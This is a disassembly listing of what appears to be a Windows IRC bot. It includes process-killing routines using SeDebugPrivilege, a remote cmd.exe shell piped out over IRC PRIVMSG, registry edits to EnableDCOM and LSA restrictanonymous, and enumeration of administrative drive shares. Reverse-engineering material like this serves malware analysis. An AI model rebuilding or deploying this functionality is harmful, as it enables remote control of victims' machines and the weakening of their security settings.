loc_419841: ; CODE XREF: sub_4196BD+174j
lea eax, [ebp+Str1]
loc_419847: ; CODE XREF: sub_4196BD+17Cj
push eax
lea eax, [ebp+Dest]
push offset aSD_0 ; " %s (%d)"
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+Dest]
push 1 ; int
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 14h
jmp loc_4197DE
; ---------------------------------------------------------------------------
loc_41987B: ; CODE XREF: sub_4196BD+12Ej
push [ebp+Str2] ; Str2
lea eax, [ebp+Str1]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_4198C3
loc_419890: ; CODE XREF: sub_4196BD+F5j
; sub_4196BD+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_4CB568 ; Process32Next
test eax, eax
jnz loc_419781
xor ebx, ebx
loc_4198AA: ; CODE XREF: sub_4196BD+9Dj
; sub_4196BD+B3j
push [ebp+var_8]
call esi ; CloseHandle
loc_4198AF: ; CODE XREF: sub_4196BD+77j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419652
pop ecx
pop ecx
loc_4198BC: ; CODE XREF: sub_4196BD+3Aj
; sub_4196BD+46j ...
xor eax, eax
loc_4198BE: ; CODE XREF: sub_4196BD+22Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4198C3: ; CODE XREF: sub_4196BD+1D1j
push [ebp+var_128]
push 0
push ebx
call edi ; OpenProcess
push [ebp+var_8]
mov edi, eax
call esi ; CloseHandle
push 0
push edi
call ds:dword_4270F0 ; TerminateProcess
test eax, eax
jnz short loc_4198E7
push edi
call esi ; CloseHandle
jmp short loc_4198BC
; ---------------------------------------------------------------------------
loc_4198E7: ; CODE XREF: sub_4196BD+223j
push 1
pop eax
jmp short loc_4198BE
sub_4196BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4198EC proc near ; DATA XREF: sub_401ACD+26CEo
Dest = byte ptr -298h
var_98 = dword ptr -98h
Str = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset asc_439FB0 ; "-"
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_41994B
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_98] ; int
call sub_409A73
add esp, 14h
loc_41994B: ; CODE XREF: sub_4198EC+3Dj
push [ebp+var_10] ; int
lea eax, [ebp+Str]
push esi ; int
push esi ; Str2
push [ebp+var_C] ; int
push eax ; Str
push [ebp+var_98] ; int
call sub_4196BD
add esp, 18h
test eax, eax
jnz short loc_419973
push offset unk_439F8C
jmp short loc_419978
; ---------------------------------------------------------------------------
loc_419973: ; CODE XREF: sub_4198EC+7Ej
push offset asc_439F68 ; "-"
loc_419978: ; CODE XREF: sub_4198EC+85j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_4199AB
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_98] ; int
call sub_409A73
add esp, 14h
loc_4199AB: ; CODE XREF: sub_4198EC+9Dj
lea eax, [ebp+Dest]
push eax
call sub_4151AD
push [ebp+var_14]
call sub_40B413
pop ecx
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
pop edi
pop esi
sub_4198EC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4199CA proc near ; CODE XREF: sub_401ACD+78B4p
; sub_40B232+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
call ds:dword_427084 ; OpenProcess
mov esi, eax
test esi, esi
jz short loc_4199FC
push 0
push esi
call ds:dword_4270F0 ; TerminateProcess
test eax, eax
jnz short loc_4199FC
push esi
xor edi, edi
call ds:dword_427068 ; CloseHandle
loc_4199FC: ; CODE XREF: sub_4199CA+1Aj
; sub_4199CA+27j
mov eax, edi
pop edi
pop esi
retn
sub_4199CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_419A01 proc near ; DATA XREF: WinMain(x,x,x,x)+3CDo
push esi
xor esi, esi
loc_419A04: ; CODE XREF: sub_419A01+1Ej
push 1 ; int
push esi ; int
push esi ; Str2
push esi ; int
push esi ; Str
push esi ; int
call sub_4196BD
add esp, 18h
push dword_439DAC
call ds:dword_427078 ; Sleep
jmp short loc_419A04
sub_419A01 endp
; =============== S U B R O U T I N E =======================================
sub_419A21 proc near ; CODE XREF: sub_419A51+2Ap
; sub_419A89+7Ep ...
mov eax, dword_4DB8D8
push esi
mov esi, ds:dword_427068
cmp eax, 0FFFFFFFFh
jz short loc_419A35
push eax
call esi ; CloseHandle
loc_419A35: ; CODE XREF: sub_419A21+Fj
mov eax, dword_4DB8E0
cmp eax, 0FFFFFFFFh
jz short loc_419A42
push eax
call esi ; CloseHandle
loc_419A42: ; CODE XREF: sub_419A21+1Cj
mov eax, dword_4DB8D4
cmp eax, 0FFFFFFFFh
jz short loc_419A4F
push eax
call esi ; CloseHandle
loc_419A4F: ; CODE XREF: sub_419A21+29j
pop esi
retn
sub_419A21 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419A51(char *Str)
sub_419A51 proc near ; CODE XREF: sub_401ACD+7605p
; sub_415C5A+14Ap
var_4 = dword ptr -4
Str = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+Str] ; Str
call _strlen
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+Str]
push dword_4DB8DC
call ds:dword_4270E0 ; WriteFile
test eax, eax
jnz short loc_419A84
call sub_419A21
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_419A84: ; CODE XREF: sub_419A51+28j
push 1
pop eax
leave
retn
sub_419A51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419A89(int,char *Str1,int)
sub_419A89 proc near ; CODE XREF: sub_419B10+D3p
; sub_419B10+F2p ...
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str1 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_43D808 ; Str2
push [ebp+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_419ACC
push 7D0h
call ds:dword_427078 ; Sleep
push [ebp+arg_8]
lea eax, [ebp+Dest]
push [ebp+Str1]
push offset aPrivmsgSS_1 ; "PRIVMSG %s :%s\r"
push eax ; Dest
call _sprintf
add esp, 10h
jmp short loc_419AE3
; ---------------------------------------------------------------------------
loc_419ACC: ; CODE XREF: sub_419A89+1Aj
push [ebp+arg_8]
lea eax, [ebp+Dest]
push offset aS_6 ; "%s"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_419AE3: ; CODE XREF: sub_419A89+41j
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_0]
call dword_4CB6A4 ; send
test eax, eax
jg short loc_419B0C
call sub_419A21
loc_419B0C: ; CODE XREF: sub_419A89+7Cj
xor eax, eax
leave
retn
sub_419A89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B10 proc near ; DATA XREF: sub_419C65+170o
Dst = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset byte_4DB8E4
loc_419B28: ; CODE XREF: sub_419B10+79j
; sub_419B10+DBj
push esi ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+Dst]
push esi
push eax
push dword_4DB8D8
call ds:dword_42718C ; PeekNamedPipe
test eax, eax
jz loc_419BF6
cmp [ebp+var_4], edi
jnz short loc_419B8B
lea eax, [ebp+var_8]
push eax
push dword_4DB8D4
call ds:dword_427188 ; GetExitCodeProcess
test eax, eax
jz short loc_419B81
cmp [ebp+var_8], 103h
jnz loc_419C1A
loc_419B81: ; CODE XREF: sub_419B10+62j
push 0Ah
call ds:dword_427078 ; Sleep
jmp short loc_419B28
; ---------------------------------------------------------------------------
loc_419B8B: ; CODE XREF: sub_419B10+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_419BA2
loc_419B92: ; CODE XREF: sub_419B10+90j
cmp [ebp+eax+Dst], 0Ah
jz short loc_419BF0
inc eax
cmp eax, [ebp+var_4]
jb short loc_419B92
loc_419BA2: ; CODE XREF: sub_419B10+80j
mov [ebp+var_4], esi
loc_419BA5: ; CODE XREF: sub_419B10+E4j
push esi ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+Dst]
push eax
push dword_4DB8D8
call ds:dword_4270E8 ; ReadFile
test eax, eax
jz short loc_419C42
lea eax, [ebp+Dst]
push eax ; int
push ebx ; Str1
push dword_4DB918 ; int
call sub_419A89
add esp, 0Ch
jmp loc_419B28
; ---------------------------------------------------------------------------
loc_419BF0: ; CODE XREF: sub_419B10+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_419BA5
; ---------------------------------------------------------------------------
loc_419BF6: ; CODE XREF: sub_419B10+45j
push offset unk_43A038 ; int
push ebx ; Str1
push dword_4DB918 ; int
call sub_419A89
push [ebp+arg_0]
call sub_40B413
add esp, 10h
push 1
call ds:dword_4270CC ; ExitThread
loc_419C1A: ; CODE XREF: sub_419B10+6Bj
call sub_419A21
push offset unk_43A010 ; int
push ebx ; Str1
push dword_4DB918 ; int
call sub_419A89
push [ebp+arg_0]
call sub_40B413
add esp, 10h
push edi
call ds:dword_4270CC ; ExitThread
loc_419C42: ; CODE XREF: sub_419B10+C3j
push offset unk_439FE0 ; int
push ebx ; Str1
push dword_4DB918 ; int
call sub_419A89
push [ebp+arg_0]
call sub_40B413
add esp, 10h
push edi
call ds:dword_4270CC ; ExitThread
sub_419B10 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419C65 proc near ; CODE XREF: sub_401ACD+2508p
; sub_415C5A+99p
Dest = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
Dst = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_419A21
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call dword_4CB710 ; SearchPathA
test eax, eax
jz loc_419D5F
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, ds:dword_4270FC
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi ; CreatePipe
test eax, eax
jz loc_419D5F
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi ; CreatePipe
test eax, eax
jz loc_419D5F
mov edi, ds:dword_4270F8
push 3
push esi
push esi
push offset dword_4DB8DC
call edi ; GetCurrentProcess
push eax
push [ebp+var_8]
call edi ; GetCurrentProcess
push eax
call ds:dword_4270F4 ; DuplicateHandle
test eax, eax
jz short loc_419D5F
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_74]
pop edi
push edi ; Size
push esi ; Val
push eax ; Dst
call _memset
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+Dst]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_43D808
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call ds:dword_42706C ; CreateProcessA
test eax, eax
jnz short loc_419D67
loc_419D5F: ; CODE XREF: sub_419C65+2Fj
; sub_419C65+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_419E15
; ---------------------------------------------------------------------------
loc_419D67: ; CODE XREF: sub_419C65+F8j
push [ebp+var_4]
mov edi, ds:dword_427068
call edi ; CloseHandle
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_4DB8D8, eax
mov eax, [ebp+var_8]
mov dword_4DB8E0, eax
mov eax, [ebp+Dst]
mov dword_4DB8D4, eax
call edi ; CloseHandle
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_4DB918, eax
jz short loc_419DA1
push [ebp+arg_4]
jmp short loc_419DA2
; ---------------------------------------------------------------------------
loc_419DA1: ; CODE XREF: sub_419C65+135j
push ebx ; Format
loc_419DA2: ; CODE XREF: sub_419C65+13Aj
push offset byte_4DB8E4 ; Dest
call _sprintf
pop ecx
pop ecx
push esi ; int
push 0Ah ; int
push offset asc_43A09C ; "-"
call sub_40B0F7
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_43E598[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_419B10
push esi
push esi
call ds:dword_42707C ; CreateThread
cmp eax, esi
mov dword_43E5A4[edi], eax
jnz short loc_419E13
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dest]
push offset asc_43A068 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push eax
call sub_4151AD
add esp, 10h
loc_419E13: ; CODE XREF: sub_419C65+185j
xor eax, eax
loc_419E15: ; CODE XREF: sub_419C65+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_419C65 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E1A proc near ; DATA XREF: sub_401ACD+2E0Co
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_419E61
call sub_419E7A
jmp short loc_419E66
; ---------------------------------------------------------------------------
loc_419E61: ; CODE XREF: sub_419E1A+3Ej
call sub_41A19E
loc_419E66: ; CODE XREF: sub_419E1A+45j
add esp, 10h
push [ebp+var_14]
call sub_40B413
pop ecx
push 0
call ds:dword_4270CC ; ExitThread
sub_419E1A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E7A proc near ; CODE XREF: sub_419E1A+40p
Dest = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
Str = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_4CB724, edi
jnz loc_419FAC
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CB6C4 ; RegOpenKeyExA
test eax, eax
jnz short loc_419F05
mov ax, word_438E18
mov word ptr [ebp+Str+2], ax
lea eax, [ebp+Str+2]
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CB678 ; RegSetValueExA
test eax, eax
jz short loc_419EE7
push offset dword_43A338
jmp short loc_419EEC
; ---------------------------------------------------------------------------
loc_419EE7: ; CODE XREF: sub_419E7A+64j
push offset asc_43A318 ; "-"
loc_419EEC: ; CODE XREF: sub_419E7A+6Bj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB630 ; RegCloseKey
jmp short loc_419F18
; ---------------------------------------------------------------------------
loc_419F05: ; CODE XREF: sub_419E7A+36j
lea eax, [ebp+Dest]
push offset asc_43A2E8 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_419F18: ; CODE XREF: sub_419E7A+89j
cmp [ebp+arg_C], edi
jnz short loc_419F37
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 14h
loc_419F37: ; CODE XREF: sub_419E7A+A1j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CB6C4 ; RegOpenKeyExA
test eax, eax
jnz short loc_419FA5
lea eax, [ebp+Str]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov dword ptr [ebp+Str], 1
call dword_4CB678 ; RegSetValueExA
test eax, eax
jz short loc_419F87
push offset dword_43A298
jmp short loc_419F8C
; ---------------------------------------------------------------------------
loc_419F87: ; CODE XREF: sub_419E7A+104j
push offset asc_43A264 ; "-"
loc_419F8C: ; CODE XREF: sub_419E7A+10Bj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB630 ; RegCloseKey
jmp short loc_419FBF
; ---------------------------------------------------------------------------
loc_419FA5: ; CODE XREF: sub_419E7A+E2j
push offset dword_43A228
jmp short loc_419FB1
; ---------------------------------------------------------------------------
loc_419FAC: ; CODE XREF: sub_419E7A+13j
push offset asc_43A1F8 ; "-"
loc_419FB1: ; CODE XREF: sub_419E7A+130j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_419FBF: ; CODE XREF: sub_419E7A+129j
cmp [ebp+arg_C], edi
jnz short loc_419FDE
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 14h
loc_419FDE: ; CODE XREF: sub_419E7A+148j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
cmp dword_4CB74C, edi
pop ecx
jnz loc_41A159
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41A001: ; CODE XREF: sub_419E7A+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+Str]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_4CB598
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_41A09E
cmp eax, 0EAh
jz short loc_41A09E
mov esi, offset off_43A0C0
loc_41A032: ; CODE XREF: sub_419E7A+21Dj
push dword ptr [esi]
push edi
call sub_418C6C
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_41A049
push offset dword_43A1D4
jmp short loc_41A04E
; ---------------------------------------------------------------------------
loc_41A049: ; CODE XREF: sub_419E7A+1C6j
push offset asc_43A1A8 ; "-"
loc_41A04E: ; CODE XREF: sub_419E7A+1CDj
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41A081
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 14h
loc_41A081: ; CODE XREF: sub_419E7A+1EBj
lea eax, [ebp+Dest]
push eax
call sub_4151AD
add esi, 8
pop ecx
cmp esi, offset dword_43A0E0
jb short loc_41A032
jmp loc_41A136
; ---------------------------------------------------------------------------
loc_41A09E: ; CODE XREF: sub_419E7A+1AAj
; sub_419E7A+1B1j
mov esi, dword ptr [ebp+Str]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_41A12D
loc_41A0AD: ; CODE XREF: sub_419E7A+2AFj
mov edi, [esi]
push edi ; Str
call _wcslen
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41A122
push edi
call sub_418B59
push eax
push 0
call sub_418C6C
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A0DC
push offset dword_43A184
jmp short loc_41A0E1
; ---------------------------------------------------------------------------
loc_41A0DC: ; CODE XREF: sub_419E7A+259j
push offset asc_43A158 ; "-"
loc_41A0E1: ; CODE XREF: sub_419E7A+260j
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A115
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 14h
loc_41A115: ; CODE XREF: sub_419E7A+27Fj
lea eax, [ebp+Dest]
push eax
call sub_4151AD
pop ecx
loc_41A122: ; CODE XREF: sub_419E7A+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_41A0AD
xor edi, edi
loc_41A12D: ; CODE XREF: sub_419E7A+22Dj
push dword ptr [ebp+Str]
call dword_4CB6E4
loc_41A136: ; CODE XREF: sub_419E7A+21Fj
cmp [ebp+var_10], 0EAh
jz loc_41A001
lea eax, [ebp+Dest]
push offset asc_43A130 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
pop ebx
jmp short loc_41A16C
; ---------------------------------------------------------------------------
loc_41A159: ; CODE XREF: sub_419E7A+177j
lea eax, [ebp+Dest]
push offset asc_43A100 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41A16C: ; CODE XREF: sub_419E7A+2DDj
cmp [ebp+arg_C], edi
jnz short loc_41A18A
push edi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 14h
loc_41A18A: ; CODE XREF: sub_419E7A+2F5j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_419E7A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A19E proc near ; CODE XREF: sub_419E1A:loc_419E61p
Dest = byte ptr -220h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
Str = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_4CB724, ebx
push esi
jnz loc_41A2CC
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CB6C4 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A229
mov ax, word_438E5C
mov word ptr [ebp+Str+2], ax
lea eax, [ebp+Str+2]
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CB678 ; RegSetValueExA
test eax, eax
jz short loc_41A20B
push offset dword_43A4B0
jmp short loc_41A210
; ---------------------------------------------------------------------------
loc_41A20B: ; CODE XREF: sub_41A19E+64j
push offset asc_43A494 ; "-"
loc_41A210: ; CODE XREF: sub_41A19E+6Bj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB630 ; RegCloseKey
jmp short loc_41A23C
; ---------------------------------------------------------------------------
loc_41A229: ; CODE XREF: sub_41A19E+36j
lea eax, [ebp+Dest]
push offset asc_43A2E8 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41A23C: ; CODE XREF: sub_41A19E+89j
cmp [ebp+arg_C], ebx
jnz short loc_41A25B
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 14h
loc_41A25B: ; CODE XREF: sub_41A19E+A1j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CB6C4 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A2C5
lea eax, [ebp+Str]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov dword ptr [ebp+Str], ebx
call dword_4CB678 ; RegSetValueExA
test eax, eax
jz short loc_41A2A7
push offset dword_43A454
jmp short loc_41A2AC
; ---------------------------------------------------------------------------
loc_41A2A7: ; CODE XREF: sub_41A19E+100j
push offset asc_43A41C ; "-"
loc_41A2AC: ; CODE XREF: sub_41A19E+107j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB630 ; RegCloseKey
jmp short loc_41A2DF
; ---------------------------------------------------------------------------
loc_41A2C5: ; CODE XREF: sub_41A19E+E2j
push offset dword_43A3E0
jmp short loc_41A2D1
; ---------------------------------------------------------------------------
loc_41A2CC: ; CODE XREF: sub_41A19E+13j
push offset asc_43A1F8 ; "-"
loc_41A2D1: ; CODE XREF: sub_41A19E+12Cj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41A2DF: ; CODE XREF: sub_41A19E+125j
cmp [ebp+arg_C], ebx
jnz short loc_41A2FE
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 14h
loc_41A2FE: ; CODE XREF: sub_41A19E+144j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
cmp dword_4CB74C, ebx
pop ecx
jnz loc_41A473
push edi
mov esi, offset off_43A0C0
mov edi, 200h
loc_41A322: ; CODE XREF: sub_41A19E+1E9j
push dword ptr [esi+4] ; int
push dword ptr [esi] ; Str
push ebx ; int
call sub_418BC0
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A33D
push offset dword_43A3C0
jmp short loc_41A342
; ---------------------------------------------------------------------------
loc_41A33D: ; CODE XREF: sub_41A19E+196j
push offset asc_43A398 ; "-"
loc_41A342: ; CODE XREF: sub_41A19E+19Dj
lea eax, [ebp+Dest]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41A371
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 14h
loc_41A371: ; CODE XREF: sub_41A19E+1B7j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
add esi, 8
pop ecx
cmp esi, offset off_43A0D0
jb short loc_41A322
call ds:dword_427190 ; GetLogicalDrives
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_41A45B
loc_41A39C: ; CODE XREF: sub_41A19E+2B7j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41A450
cmp bl, 41h
jz loc_41A450
movsx esi, bl
push esi
push offset aC_1 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_20]
push esi
push offset aC ; "%c:\\"
push 0Ah ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_20]
push eax
call dword_4CB6B4 ; GetDriveTypeA
cmp eax, 3
jnz short loc_41A450
lea eax, [ebp+var_20]
push eax ; int
lea eax, [ebp+var_14]
push eax ; Str
push 0 ; int
call sub_418BC0
add esp, 0Ch
test eax, eax
